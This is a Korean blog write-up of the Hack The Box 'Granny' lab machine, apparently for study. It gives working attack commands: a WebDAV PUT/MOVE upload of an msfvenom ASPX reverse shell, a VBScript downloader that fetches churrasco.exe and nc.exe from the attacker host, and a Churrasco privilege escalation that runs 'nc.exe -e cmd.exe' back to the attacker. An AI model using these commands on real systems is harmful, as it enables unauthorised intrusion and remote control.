본문 바로가기
워게임/hackthebox

granny 롸업 정리

by meanjung 2021. 10. 3.

nmap

 

gobuster 해봤지만 시간만 엄청 걸리고 뭐 나오지도 않았다.


davtest

테스트 실행 파일을 업로드한 다음 명령 실행이나 다른 작업을 대상에서 직접 수행할 수 있도록 파일을 업로드하여 webdav 지원 서버를 테스트하는 툴

 

davtest -url http://10.10.10.15 [**] http:// 안붙이면 이상하게 나온다.

asp, aspx failed. 이 확장자로 파일을 올릴 수 없는 것 같다.

그러나 txt, html 같은 확장자는 success.

 

PUT이 허용된 유일한 http method가 아님을 기억하라. (앞의 nmap의 결과에서 Public options에 많은 메서드가 나와있다.)

MOVE는 웹 서버에서 파일 위치를 변경할 수 있을 뿐만 아니라 파일 이름을 바꾸는 데도 사용할 수 있다.

 

html 파일을 업로드하고 apsx확장자로 rename해보자


curl

echo "<h1>hello</h1>" > test.html

curl -X PUT http://10.10.10.15/test.html -d @test.html

curl http://10.10.10.15/test.html

 

 

업로드 성공한 것을 볼 수 있다. 이제 move method를 활용해보자


HTTP MOVE method

curl -X MOVE --header "Destination: http://10.10.10.15/test.aspx" "http://10.10.10.15/test.html"

curl http://10.10.10.15/test.aspx

잘 된다. 이제 이걸 잘 활용하면 되겠다.


msfvenom 리버스 쉘 만들어내기

msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.8 LPORT=1234 -o shell.aspx

mv shell.aspx shell.txt

 

curl -X PUT http://10.10.10.15/shell.txt --data-binary @shell.txt

 

curl -X MOVE --header "Destination: http://10.10.10.15/shell.aspx" "http://10.10.10.15/shell.txt"

 

nc -nlvp 1234

 

curl http://10.10.10.15/shell.aspx

 

쉘은 따졌으나 access denied


권한 상승

windows-exploit-suggester을 사용해 결과를 확인했지만 유용한 것이 없었다. 실제로는 다 해봐야 할 듯

 

롸업에서 나온 유일한 해결책 이걸 어떻게 찾았는지는 잘 모르겠다만

https://www.exploit-db.com/exploits/6705

 

Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation

Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation EDB-ID: 6705 CVE: N/A Date: 2008-10-08

www.exploit-db.com

 

wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe

 

로컬에 다운받아서 타겟 머신으로 churrasco.exe를 옮겨야하는데 기존에 하던 방식인 powershell이 먹히지 않았다.

 

[**] kali -> windows 파일 공유

타겟머신에서 이 코드를 모두 복붙한다.

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript /nologo wget.vbs http://10.10.14.8:5555/churrasco.exe churrasco.exe

이 방식으로 nc.exe도 옮겨준다.

 

로컬에서 nc -nlvp 4444 로 열어주고

 

churrasco.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.8 4444"

'워게임 > hackthebox' 카테고리의 다른 글

grandpa 롸업 정리- 다시해보기  (0) 2021.10.05
arctic 롸업 정리  (0) 2021.10.05
bastard 롸업 정리  (0) 2021.10.01
optimum 롸업 정리  (0) 2021.09.28
devel 롸업 정리  (0) 2021.09.28

댓글